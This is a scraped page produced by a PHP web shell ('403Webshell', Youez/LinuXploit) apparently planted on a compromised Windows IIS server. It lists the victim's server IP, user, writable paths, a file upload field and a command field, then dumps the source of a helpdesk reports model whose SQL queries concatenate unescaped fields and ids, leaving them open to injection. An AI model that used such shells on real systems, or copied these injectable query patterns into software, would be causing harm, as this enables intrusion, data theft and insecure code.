403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/Helpdesk/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/Helpdesk/application/models/reportsmodel.php
<?php

class ReportsModel
{
    function __construct($db) {
		$this->db = $db;
    }

    public function get($id)
    {
		$id = $this->db->strip($id);
		$result = $this->db->select("* FROM reports WHERE id='$id'", 'firstrow');

		return $result;
    }

    public function getAll()
    {
		$result = $this->db->select("* FROM reports ORDER BY id DESC");
		
		return $result;
    }

	public function save($record)
	{
		array_walk($record, array($this->db, 'strip_array'));
		$old = $this->get($record['id']);

		if ($old){
			foreach ($record as $field=>$value) {
				if ($field!="id") {
					if ($value=="NULL")
						$set[] = "$field=NULL";
					else
						$set[] = "$field='$value'";
				}
			}
			
			$set = implode(", ", $set);
			
			$result = $this->db->update("reports SET $set WHERE id='".$record['id']."'");
		} else {
			foreach ($record as $field=>$value) {
				$fields[] = $field;
				if ($value=="NULL")
					$values[] = "NULL";
				else
					$values[] = "'$value'";
			}
									
			$fields = implode(", ", $fields);
			$values = implode(", ", $values);
			
			$result = $this->db->insert("INTO reports ($fields) VALUES ($values)");
		}

		return $result;
	}

	public function toggleStatus($id)
	{
		$id = $this->db->strip($id);
		
		$report = $this->get($id);
		$new_status = ($report->status==0?1:0);
		$result = $this->db->update("reports SET status=$new_status WHERE id=$id");
			
		return $result;
	}	
	
	public function delete($id)
	{
		$id = $this->db->strip($id);
		
		$result = $this->db->delete("FROM reports WHERE id=".$id);
			
		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit